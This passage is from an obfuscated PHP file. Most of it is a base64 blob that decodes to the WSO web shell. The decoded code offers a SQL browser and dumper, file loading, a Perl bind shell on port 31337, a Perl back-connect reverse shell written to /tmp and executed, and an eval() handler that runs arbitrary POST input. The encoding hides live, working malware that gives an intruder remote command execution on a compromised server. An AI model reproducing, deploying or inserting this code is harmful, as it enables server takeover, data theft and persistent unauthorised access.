U9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7DQoJCX0NCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KCWlmKCFAJF9QT1NUWydwMSddKSB7DQoJCSRhID0gYXJyYXkoDQoJCQkidW5hbWUiID0+IHBocF91bmFtZSgpLA0KCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQoJCQkid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLA0KCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykNCgkJKTsNCgkJZWNobyBzZXJpYWxpemUoJGEpOw0KCX0gZWxzZSB7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgl9DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpDQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOw0KCWVsc2UNCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQ0KCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOw0KZXhpdDsNCg==\x22\x29\x29\x3B", "."); ?>